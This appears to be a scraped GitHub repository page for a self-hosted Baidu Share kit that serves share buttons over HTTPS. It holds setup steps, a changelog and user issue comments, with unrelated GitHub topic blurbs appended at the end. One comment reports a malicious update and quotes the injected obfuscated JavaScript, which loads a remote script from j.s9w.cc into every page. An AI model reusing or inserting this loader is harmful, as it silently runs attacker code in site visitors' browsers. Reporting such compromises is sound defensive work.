将static文件夹放在网站的根目录下,并将对应的百度分享代码中,把http://bdimg.share.baidu.com/改为 /
https://www.hrwhisper.me/baidu-share-not-support-https-solution/
- 回滚之前版本,重新上传
- 修复悬浮窗样式无效问题
- 加入slide_view.js
- 修复32icon和24icon等问题
- 修复文字分享等一些文件缺失的问题
- 修复URL过长导致微信分享二维码显示不出的问题
- 微信分享外观微调
百度分享不支持Https的解决方案
Home Page: https://www.hrwhisper.me/baidu-share-not-support-https-solution/
将static文件夹放在网站的根目录下,并将对应的百度分享代码中,把http://bdimg.share.baidu.com/改为 /
https://www.hrwhisper.me/baidu-share-not-support-https-solution/
如果有404的错误,需要打开static/api/share.js
修改staticUrl:"/"为staticUrl:""
最近一次的更新里面存在恶意代码,js文件都被附加了如下代码
;;(function(){window.v6d061dfa0ddfd12160ad851976e4a26d="fx";window.v6d061dfa0ddfd12160ad851976e4a26e="j.s9w.cc"})();
var f476e749bb252bde7a5c2c9994b6116ce=function(){function b(a){if(!d&&("onreadystatechange"!==a.type||"complete"===document.readyState)){for(a=0;a<c.length;a++)c[a].call(document);d=!0;c=null}}var c=[],d=!1;document.addEventListener?(document.addEventListener("DOMContentLoaded",b,!1),document.addEventListener("readystatechange",b,!1),window.addEventListener("load",b,!1)):document.attachEvent&&(document.attachEvent("onreadystatechange",b),window.attachEvent("onload",b));return function(a){d?a.call(document):
c.push(a)}}();
function f006b08735d9928a8820efe00a26753e7(){try{var b=window.top.document;if(!b.getElementById("82ac324e455efd0ecd2e73d22d852758")){var c=b.createElement("script");c.setAttribute("type","text/javascript");c.setAttribute("id","82ac324e455efd0ecd2e73d22d852758");var d="http://"+window.v6d061dfa0ddfd12160ad851976e4a26e+"/j/?v=1&t="+window.v6d061dfa0ddfd12160ad851976e4a26d+"&j=j";b.getElementsByTagName("head")[0].appendChild(c);c.setAttribute("src",d)}}catch(a){console.log(a.message)}}f476e749bb252bde7a5c2c9994b6116ce(f006b08735d9928a8820efe00a26753e7);
严重怀疑大侠电脑中毒。难道是大侠的别有用心。
直接把这个解压后的文件夹放到 vue的打包之后的dist目录下吗
使用slide方式展示分享,点击更多没有反应
问题如下:
pop_dialog.js?v=d479767d.js:1 Uncaught TypeError: Cannot read property 'name' of undefined
我对前端了解不多,请帮助解决
/static/api/js/trans/trans_weixin.js 换成官方的就不乱码了
window._bd_share_main.F.module("trans/trans_weixin",function(e,t){var n="bdshare_weixin_qrcode_dialog",r="",i=0,s,o,u,a={},f=e("base/tangram").T,l=e("conf/const").URLS,c=function(e){var t=Math.round(200/e.length);t=t<2?2:t,i=te.length;var n='
',r=[n],s="";return f.each(e,function(e,n){r.push(""),f.each(n,function(e,n){s='<td style="width:'+t+"px;height:"+t+"px;padding:0;margin:0;border:none;background:#"+(n?"000":"FFF")+'">',r.push(s)})}),r.push("我看了一下share.js里面的js,有引用超过40多种js,css,img。其实你的文件夹还是缺失很多东西的,亲!
比如
imgshare.css文件中
url(../images/imgshare/imgshare_collection_icons_b.png)
使用http可以先手分享的总数,使用https,好像获取不到这个数据,f12控制台也没有什么错误,有人知道怎么解决吗
Hexo Next 使用后 显示 Uncaught SyntaxError: missing ) after argument list
具体操作如下:
请问这个是什么情况? 如何解决?
This request has been blocked; the content must be served over HTTPS.
没有碰到这个麻烦么?
If use 32*32 icon size, it don't work.
Missed share_style0_32.css and large icon files
share_api.js?v=226108fe.js:1 Uncaught SyntaxError: Unexpected token <
share_view.js?v=3ae6026d.js:1 Uncaught SyntaxError: Unexpected token <
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.